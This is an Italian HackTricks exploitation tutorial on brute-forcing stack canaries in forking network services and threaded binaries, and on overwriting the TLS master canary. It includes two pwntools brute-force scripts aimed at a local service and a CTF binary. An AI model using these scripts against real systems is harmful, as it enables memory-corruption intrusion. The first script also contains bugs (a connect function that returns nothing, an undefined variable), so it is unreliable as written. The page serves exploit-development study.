BF Forked & Threaded Stack Canaries

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Se ti trovi di fronte a un binario protetto da un canary e da PIE (Position Independent Executable) probabilmente devi trovare un modo per aggirarli.

Nota che checksec potrebbe non trovare che un binario è protetto da un canary se è stato compilato staticamente e non è in grado di identificare la funzione. Tuttavia, puoi notarlo manualmente se trovi che un valore viene salvato nello stack all'inizio di una chiamata di funzione e questo valore viene controllato prima di uscire.

Brute force Canary

Il modo migliore per aggirare un canary semplice è se il binario è un programma che biforca processi figlio ogni volta che si stabilisce una nuova connessione con esso (servizio di rete), perché ogni volta che ci si connette ad esso verrà utilizzato lo stesso canary.

Quindi, il modo migliore per aggirare il canary è semplicemente forzarlo carattere per carattere, e puoi capire se il byte del canary indovinato era corretto controllando se il programma è crashato o continua il suo flusso regolare. In questo esempio la funzione forza un canary di 8 byte (x64) e distingue tra un byte indovinato correttamente e un byte sbagliato semplicemente controllando se viene inviata una risposta dal server (in un altro contesto potrebbe essere utilizzato un try/except):

Esempio 1

Questo esempio è implementato per 64 bit ma potrebbe essere facilmente implementato per 32 bit.

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

Esempio 2

Questo è implementato per 32 bit, ma potrebbe essere facilmente modificato per 64 bit. Nota inoltre che per questo esempio il programma si aspetta prima un byte per indicare la dimensione dell'input e il payload.

from pwn import *

# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21

for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")

# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))

# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break

# Return the canary
return known_canary

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")

Threads

I thread dello stesso processo condivideranno anche lo stesso token canary, quindi sarà possibile forzare un canary se il binario genera un nuovo thread ogni volta che avviene un attacco.

Inoltre, un overflow del buffer in una funzione thread protetta con canary potrebbe essere utilizzato per modificare il canary principale memorizzato nel TLS. Questo perché potrebbe essere possibile raggiungere la posizione di memoria in cui è memorizzato il TLS (e quindi il canary) tramite un bof nello stack di un thread. Di conseguenza, la mitigazione è inutile perché il controllo viene effettuato con due canary che sono gli stessi (sebbene modificati). Questo attacco è eseguito nel writeup: http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads

Controlla anche la presentazione di https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015 che menziona che di solito il TLS è memorizzato da mmap e quando viene creato uno stack di un thread viene generato anche da mmap secondo questo, il che potrebbe consentire l'overflow come mostrato nel writeup precedente.

Altri esempi e riferimenti

Last updated